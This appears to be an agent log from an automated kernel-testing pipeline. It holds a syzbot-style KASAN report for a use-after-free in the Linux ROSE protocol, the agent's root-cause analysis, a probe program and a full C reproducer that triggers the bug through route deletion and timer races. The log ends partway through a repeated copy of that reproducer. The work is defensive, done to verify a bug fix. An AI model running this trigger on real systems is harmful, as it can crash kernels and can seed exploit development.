We have to make sure to create the ROSE device properly to avoid issues with missing devices. To do this, we'll setup `rose0`, create an AX.25 device with `mkiss`, and ensure that we have proper routes configured using `SIOCSIFFLAGS` to bring up `rose0`, and configure an AX.25 device with `mkiss`. The `mkiss` device will provide the data link. We have to be sure it's up before adding the route. The `SIOCGIFFLAGS` call is used for checking if the devices are available.

Now, let's verify each detail. It is important to set `O_NONBLOCK` on the socket with `fcntl`. The `route.mask` will be 5, which will match a later call to delete the route. We have to verify that when we call the route entry delete and the route is found. The correct call to `rose_release` from `close()` is important

map[Name:rose_neigh]

map[Fields:[map[Name:next OffsetBits:0 SizeBits:64] map[Name:callsign OffsetBits:64 SizeBits:56] map[Name:digipeat OffsetBits:128 SizeBits:64] map[Name:ax25 OffsetBits:192 SizeBits:64] map[Name:dev OffsetBits:256 SizeBits:64] map[Name:count OffsetBits:320 SizeBits:16] map[Name:use OffsetBits:352 SizeBits:32] map[Name:number OffsetBits:384 SizeBits:32] map[Name:restarted OffsetBits:416 SizeBits:8] map[Name:dce_mode OffsetBits:424 SizeBits:8] map[Name:loopback OffsetBits:432 SizeBits:8] map[Name:queue OffsetBits:448 SizeBits:704] map[Name:t0timer OffsetBits:1152 SizeBits:640] map[Name:ftimer OffsetBits:1792 SizeBits:640]]]

gemini-3.1-pro-preview

							input: 72229
							output: 2046
							thoughts: 2490
						

**Analysis and Reproducer for AX.25 UAF in ROSE Module**

Okay, let's break this down. The offset of `ax25` within the data structure is precisely 192 bits, which is 24 bytes (0x18).  This directly aligns with the details in the reported bug! The `Write of size 8 at addr ffff888056f1ec18` and the fact that "The buggy address is located 24 bytes inside of freed 512-byte region" confirms the vulnerability location perfectly. We've got a solid match here.

Now, to reproduce, the goal is to trigger a use-after-free (UAF) condition when the timer expires. Here's my plan:

1.  **Create and Setup AX.25 Device:** First, I'll need to create an `ax0` using `mkiss` and set its line discipline to `N_AX25`. Then, I'll bring `ax0` up using `SIOCGIFFLAGS` and `SIOCSIFFLAGS`. I'll also bring up a `rose0` device and set a dummy MAC address for it using `SIOCSIFHWADDR`.

2.  **Configure ROSE Parameters:** I'll set some sysctls which will define the timers that will interact with the exploit such as `clear_request_timeout` and `restart_request_timeout`.

3.  **Create a ROSE Socket:** Next, I'll create a ROSE socket (AF\_ROSE, SOCK\_SEQPACKET, 0) and bind it to the `rose0` address to set up local communication.

4.  **Add ROSE Route:** I'll then add a ROSE route using `SIOCADDRT`.  This route will point to the `ax0` interface, with dummy AX.25 callsign for the neighbour.  The important parts of this route are the target address, the device, and the neighbor AX.25 callsign. I will add a route to a dummy destination address.

5.  **Initiate Connection (Non-Blocking):** Now I'll make a non-blocking `connect` call to the destination.  This will trigger a call request transmission which will start the timer.

6.  **Delete the Route:** After the connection is initiated, I'll delete the previously added route with `SIOCDELRT`. This will remove the reference to the neighbour and stop the initial timer.

7.  **Close the Socket:** Closing the socket using `close` is crucial. This will trigger the clear request transmission and set the timers to be running again.

8.  **Wait for Timers:** I'll wait for the relevant timers to expire to trigger the UAF. The timers are used for retransmission and retry of network packets.

I've carefully considered each step. The route setup needs to be correct (address, device, and valid AX.25 callsign format). The non-blocking connect is important to allow the timers to be started before the connection completes or fails. Closing the socket will cause `t0timer` to restart. This will then call `rose_transmit_restart_request` and access `neigh->ax25`, triggering the UAF. This appears to be the perfect minimal reproducer based on the vulnerability analysis. This is the exact sequence to reproduce the reported bug.

map[OracleFeedback:]

map[CurrentReproStrategy:The bug is a Use-After-Free (UAF) in the ROSE protocol subsystem, specifically when handling timers for a `rose_neigh` (neighbour) object. 

### Root Cause Analysis
1. **Neighbour Creation & Timers**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created. It has two timers: `t0timer` and `ftimer`.
2. **Socket Connection**: When a ROSE socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame via `rose_transmit_link()`, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and calls `rose_remove_neigh()`, which explicitly stops the `t0timer` (`timer_delete_sync`). It then drops its reference to the neighbour. However, the socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` is called. Because the socket is still in the connecting state (`ROSE_STATE_1`), it sends a `ROSE_CLEAR_REQUEST` frame. This again calls `rose_transmit_link()`, which **restarts the `t0timer`** because it was previously stopped. `rose_release()` then starts the socket's `t3timer` and transitions to `ROSE_STATE_2`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If `t3timer` expires *before* `t0timer`, the socket's timer handler (`rose_timer_expiry`) drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Later, when `t0timer` expires, its handler (`rose_t0timer_expiry`) accesses the already freed `rose_neigh` object to send a restart request, causing the UAF write at `neigh->ax25` (offset 24).

### Reproduction Strategy
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` expires before `t0timer`.
1. Create an AX.25 device (`ax0`) using the `mkiss` line discipline and bring it up.
2. Bring up the default ROSE device (`rose0`) and assign it a hardware address.
3. Set `/proc/sys/net/rose/clear_request_timeout` to `1000` (1 second) and `restart_request_timeout` to `2000` (2 seconds).
4. Create a ROSE socket and `bind()` it to the `rose0` address.
5. Add a ROSE route pointing to `ax0`.
6. Call `connect()` on the socket in non-blocking mode (`O_NONBLOCK`).
7. Immediately delete the route.
8. `close()` the socket.
9. Wait for 3 seconds. The `t3timer` will free the neighbour after 1 second, and the `t0timer` will trigger the UAF after 2 seconds.

### Minimal C Reproducer
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer expires before t0timer
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 1000);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 2000);

    // 5. Create ROSE socket
    int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);

    // 6. Bind to rose0 address
    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;
    bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 7. Add ROSE route
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);

    // 8. Connect to the route (non-blocking)
    fcntl(rsock, F_SETFL, O_NONBLOCK);
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 2;
    saddr.srose_ndigis = 0;
    connect(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 9. Delete the route (stops t0timer, drops routing refcount)
    ioctl(rsock, SIOCDELRT, &route);

    // 10. Close the socket (restarts t0timer, starts t3timer)
    close(rsock);

    // 11. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(3);

    return 0;
}
```]

gemini-3.1-pro-preview

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>

#define N_AX25 5
#define AF_ROSE 11

int main() {
    printf("[*] Starting probe...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to set TIOCSETD to N_AX25: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Set TIOCSETD to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created AF_ROSE socket.\n");

    printf("[+] Probe successful.\n");
    return 0;
}
]

You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. You MUST start by generating a simple 'probe' program first if the input variable NeedProbe is
true. This is a strict, non-negotiable requirement to verify that the test environment has the
necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).
Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when NeedProbe becomes false).
7. You must set the IsProbe output field to true if the generated C program is a minimal capability probe.
Set it to false if the C program is a full reproducer candidate attempting to trigger the target bug/crash.
Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: KASAN: slab-use-after-free Write in rose_send_frame

==================================================================
BUG: KASAN: slab-use-after-free in rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
Write of size 8 at addr ffff888056f1ec18 by task kworker/u8:7/1009

CPU: 1 UID: 0 PID: 1009 Comm: kworker/u8:7 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026
Workqueue: events_unbound nsim_dev_trap_report_work
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x156/0x4c9 mm/kasan/report.c:482
 kasan_report+0xdf/0x1e0 mm/kasan/report.c:595
 rose_send_frame+0x266/0x2a0 net/rose/rose_link.c:106
 rose_transmit_restart_request+0x1b8/0x250 net/rose/rose_link.c:198
 rose_t0timer_expiry+0x1d/0x150 net/rose/rose_link.c:83
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:arch_atomic_read arch/x86/include/asm/atomic.h:23 [inline]
RIP: 0010:raw_atomic_read include/linux/atomic/atomic-arch-fallback.h:457 [inline]
RIP: 0010:rcu_is_watching_curr_cpu include/linux/context_tracking.h:128 [inline]
RIP: 0010:rcu_is_watching+0x60/0xc0 kernel/rcu/tree.c:752
Code: 48 89 fa 48 c1 ea 03 80 3c 02 00 75 5c 48 03 1c ed e0 b8 12 8e 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 0f b6 14 02 <48> 89 d8 83 e0 07 83 c0 03 38 d0 7c 04 84 d2 75 24 8b 03 c1 e8 02
RSP: 0018:ffffc9000433f658 EFLAGS: 00000a02
RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Strategy: The bug is a Use-After-Free (UAF) in the ROSE protocol subsystem, specifically when handling timers for a `rose_neigh` (neighbour) object. 

### Root Cause Analysis
1. **Neighbour Creation & Timers**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created. It has two timers: `t0timer` and `ftimer`.
2. **Socket Connection**: When a ROSE socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame via `rose_transmit_link()`, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and calls `rose_remove_neigh()`, which explicitly stops the `t0timer` (`timer_delete_sync`). It then drops its reference to the neighbour. However, the socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` is called. Because the socket is still in the connecting state (`ROSE_STATE_1`), it sends a `ROSE_CLEAR_REQUEST` frame. This again calls `rose_transmit_link()`, which **restarts the `t0timer`** because it was previously stopped. `rose_release()` then starts the socket's `t3timer` and transitions to `ROSE_STATE_2`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If `t3timer` expires *before* `t0timer`, the socket's timer handler (`rose_timer_expiry`) drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Later, when `t0timer` expires, its handler (`rose_t0timer_expiry`) accesses the already freed `rose_neigh` object to send a restart request, causing the UAF write at `neigh->ax25` (offset 24).

### Reproduction Strategy
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` expires before `t0timer`.
1. Create an AX.25 device (`ax0`) using the `mkiss` line discipline and bring it up.
2. Bring up the default ROSE device (`rose0`) and assign it a hardware address.
3. Set `/proc/sys/net/rose/clear_request_timeout` to `1000` (1 second) and `restart_request_timeout` to `2000` (2 seconds).
4. Create a ROSE socket and `bind()` it to the `rose0` address.
5. Add a ROSE route pointing to `ax0`.
6. Call `connect()` on the socket in non-blocking mode (`O_NONBLOCK`).
7. Immediately delete the route.
8. `close()` the socket.
9. Wait for 3 seconds. The `t3timer` will free the neighbour after 1 second, and the `t0timer` will trigger the UAF after 2 seconds.

### Minimal C Reproducer
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
